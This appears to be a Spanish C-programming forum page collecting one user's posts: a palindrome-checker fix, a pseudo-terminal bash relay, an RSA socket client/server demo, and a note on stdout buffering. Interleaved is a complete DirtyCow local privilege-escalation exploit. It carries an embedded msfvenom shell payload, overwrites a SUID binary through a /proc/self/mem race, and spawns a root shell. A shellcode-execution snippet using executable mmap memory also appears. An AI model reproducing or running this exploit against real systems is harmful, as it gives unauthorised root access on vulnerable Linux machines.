Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: luisito45 en 27 Abril 2017, 21:12 PM
Buenas tardes;
Este script tiene como fin decir si una frase es palindroma o no. Funciona solo con frases que no tienen espacios y no encuentro el fallo. Al meter una frase que contenga espacios no funciona.
Os dejo aquí el código.
https://pastebin.com/vXK1Vy8A
Muchas Gracias
char palabra[20];
char palabra_al_reves[20];
for ( p = 0, i = strlen(palabra); i > 0; --i, ++p )
if ( palabra_al_reves[p] != palabra[i]; )
{
printf("No es palindroma\n");
break;
}
printf("Es palindroma\n");
Cita de: MAFUS en 27 Abril 2017, 15:41 PM
El penúltimo argumento de openpty es const struct termios *termp. Con ella controlas el comportamiento del terminal. A lo mejor tu solución está por aquí.
tcgetattr(STDIN_FILENO, &term);
cfmakeraw(&term);
tcsetattr(STDIN_FILENO, &term);
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <pty.h>
#include <utmp.h>
#include <sys/select.h>
int
main(void)
{
int fdm, fds;
openpty(&fdm, &fds, NULL, NULL, NULL);
if ( fork() == 0 )
{
close(fdm);
login_tty(fds);
dup2(fds, 0);
dup2(fds, 1);
dup2(fds, 2);
close(fds);
char *arg[] = {NULL};
execvp("/bin/bash", arg);
}
else
{
fd_set fd;
while ( 1 )
{
char put;
FD_ZERO(&fd);
FD_SET(0, &fd);
FD_SET(fdm, &fd);
select(fdm+1, &fd, NULL, NULL, NULL);
if ( FD_ISSET(0, &fd) )
{
read(0, &put, 1);
write(fdm, &put, 1);
}
if ( FD_ISSET(fdm, &fd) )
{
read(fdm, &put, 1);
write(1, &put, 1);
}
}
close(fdm);
}
return 0;
}
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/err.h>
int getipbyhostname ( const char *hostname, char *ip,
size_t size, struct in_addr *in ) {
int fd;
char *r_host = (char *)hostname;
struct sockaddr_in *r_addr = NULL;
struct addrinfo info_addr, *res_addr, *r;
info_addr.ai_family = AF_INET;
info_addr.ai_socktype = SOCK_STREAM;
info_addr.ai_flags = AI_PASSIVE;
info_addr.ai_protocol = 0;
info_addr.ai_addr = NULL;
info_addr.ai_canonname = NULL;
info_addr.ai_next = NULL;
if ( getaddrinfo ( r_host, NULL, &info_addr, &res_addr ) != 0 )
return -1;
for ( r = res_addr; r != NULL; r = r->ai_next ) {
if ( r->ai_family == AF_INET ) {
if ( (fd = socket ( r->ai_family, r->ai_socktype, r->ai_protocol )) != -1 )
break;
close ( fd );
}
}
r_addr = (struct sockaddr_in *)r->ai_addr;
if ( in != NULL ) {
memcpy ( (void *)in, (void *)&r_addr->sin_addr, sizeof ( struct in_addr ) );
} strncpy (ip, inet_ntoa ( r_addr->sin_addr ), size);
freeaddrinfo ( res_addr );
return 0;
}
int main (int argc, char **argv) {
if ( argc < 3 ) {
return fprintf ( stderr, "%s <host> <port>\n", argv[0] );
}
int port = atoi ( argv[2] );
int sc, rd, e_size, pub_len = 2048;
char host_ip[15];
char *r_host = argv[1];
char msg[] = "This is a successful test text did in C";
char encrypt_msg[256];
char *pub_key = calloc ( pub_len, sizeof ( char ) );
struct in_addr *inaddr_st = (struct in_addr *)malloc ( sizeof ( struct in_addr ) );
struct sockaddr_in c_addr;
RSA *rsa = NULL;
if ( getipbyhostname ( r_host, (char *)&host_ip, sizeof ( host_ip ), inaddr_st ) == -1 ) {
return fprintf ( stderr, "Error getting host %s\n", argv[1] );
}
// opening the socket
if ( (sc = socket ( AF_INET, SOCK_STREAM, 0 )) == -1 ) {
return fprintf ( stderr, "Error opening socket\n" );
}
c_addr.sin_family = AF_INET;
c_addr.sin_port = htons ( port );
c_addr.sin_addr = *inaddr_st;
// memcpy ( (void *)&c_addr.sin_addr, (void *)inaddr_st, sizeof ( struct in_addr ) );
printf ("%s\ndd", inet_ntoa ( c_addr.sin_addr ));
if ( connect ( sc, (struct sockaddr *)&c_addr, sizeof ( c_addr ) ) == -1 ) {
return fprintf ( stderr, "Error connecting to the host\n" );
}
// receiving the public key
rd = recv ( sc, pub_key, pub_len, 0 );
// encrypting the message
d2i_RSAPublicKey ( &rsa, (const unsigned char **)&pub_key, rd );
if ( rsa == NULL ) {
return fprintf ( stderr, "Error creating RSA public key\n" );
}
if ( (e_size = RSA_public_encrypt ( strlen ( msg ), (unsigned char *)msg,
(unsigned char *)&encrypt_msg, rsa, RSA_PKCS1_PADDING )) == -1 ) {
return fprintf ( stderr, "Error creating RSA key\n" );
}
// sending encrypted message
send ( sc, encrypt_msg, e_size, 0 );
close ( sc );
return 0;
}
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <openssl/bio.h>
#include <openssl/pem.h>
#include <openssl/x509.h>
#include <openssl/rsa.h>
#include <openssl/bn.h>
RSA *RSA_generate ( int bits ) {
RSA *rsa = RSA_new ();
BIGNUM *e = BN_new ();
BN_set_word ( e, RSA_F4 );
if ( RSA_generate_key_ex ( rsa, bits, e, NULL ) == -1 )
return NULL;
BN_clear_free ( e );
return rsa;
}
char *getRSAPrivateKey ( RSA *rsa ) {
int i;
char *priv_key = NULL;
if ( (i = i2d_RSAPrivateKey ( rsa, (unsigned char **)&priv_key )) == -1 )
return NULL;
priv_key[i] = '\0';
return priv_key;
}
char *getRSAPublicKey ( RSA *rsa ) {
int i;
char *pub_key = NULL;
if ( (i = i2d_RSAPublicKey ( rsa, (unsigned char **)&pub_key )) == -1 )
return NULL;
pub_key[i] = '\0';
return pub_key;
}
int createListenSocket ( int port, struct sockaddr_in *s_addr, int size ) {
int sc;
if ( (sc = socket ( AF_INET, SOCK_STREAM, 0 )) == -1 )
return -1;
s_addr->sin_family = AF_INET;
s_addr->sin_port = htons ( port );
s_addr->sin_addr.s_addr = INADDR_ANY;
if ( bind ( sc, (struct sockaddr *)s_addr, size ) == -1 )
return -1;
if ( listen ( sc, 1 ) == -1 )
return -1;
return sc;
}
int main () {
int sc, cc;
int rd, len;
char *pub_key = NULL;
char *priv_key = NULL;
unsigned char encrypt_data[256];
unsigned char decrypt_data[2048];
struct sockaddr_in s_addr, c_addr;
RSA *rsa = NULL;
// generate rsa 2048
if ( (rsa = RSA_generate ( 2048 )) == NULL )
return fprintf ( stderr, "Error creating RSA keys\n" );
// getting public key
pub_key = getRSAPublicKey ( rsa );
priv_key = getRSAPrivateKey ( rsa );
if ( pub_key == NULL || priv_key == NULL )
return fprintf ( stderr, "Error creating public and private key\n" );
// creating listen socket
sc = createListenSocket ( 33177, &s_addr, sizeof ( s_addr ) );
// waiting client connection
len = sizeof ( c_addr );
if ( (cc = accept ( sc, (struct sockaddr *)&c_addr, (socklen_t *)&len )) == -1 )
return fprintf ( stderr, "Error accept() calling\n" );
// sending public key
send ( cc, pub_key, 2048, 0 );
// receiving crypt message
rd = recv ( cc, encrypt_data, sizeof ( encrypt_data ), 0 );
if ( rd <= 0 )
return fprintf ( stderr, "Error receiving information\n" );
if ( (len = RSA_private_decrypt ( rd, encrypt_data, decrypt_data, rsa, RSA_PKCS1_PADDING )) == -1 ) {
return fprintf ( stderr, "Error decrypting message\n" );
} decrypt_data[len] = '\0';
printf ("%s\n", decrypt_data);
RSA_free ( rsa );
close ( cc );
close ( sc );
return 0;
}
xxd -i executable >> some.c
unsigned char shell[] = { ... };
void (*sh)();
sh = (void (*)())shell;
(void)(*sh)();
void *f = mmap ( 0, sizeof ( shell ), PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANON, -1, 0 );
memcpy ( f, shell, sizeof ( shell );
void (*sh)() = (void (*)())f;
(void)(*sh)();
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
//char suid_binary[] = "/usr/bin/passwd";
char suid_binary[] = "mydirty";
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
void *madviseThread(void *arg)
{
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
return NULL;
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,(off_t)map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
return NULL;
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s is overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
return NULL;
}
int main(int argc,char *argv[]) {
char backup[1024];
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s.. to /tmp/bak\n", suid_binary);
sprintf(backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Cita de: geeke en 7 Octubre 2016, 16:29 PM
El buffer se vacía si ocurre alguno de estos tres puntos:
1) Cuando el buffer se llena.
2) Si el texto enviado a la salida estándar termina en '\n'.
3) Mediante la llamada a fflush(stdout).
En tu caso se puede omitir la llamada a fflush(stdout) ya que con el salto de linea se vacía el buffer.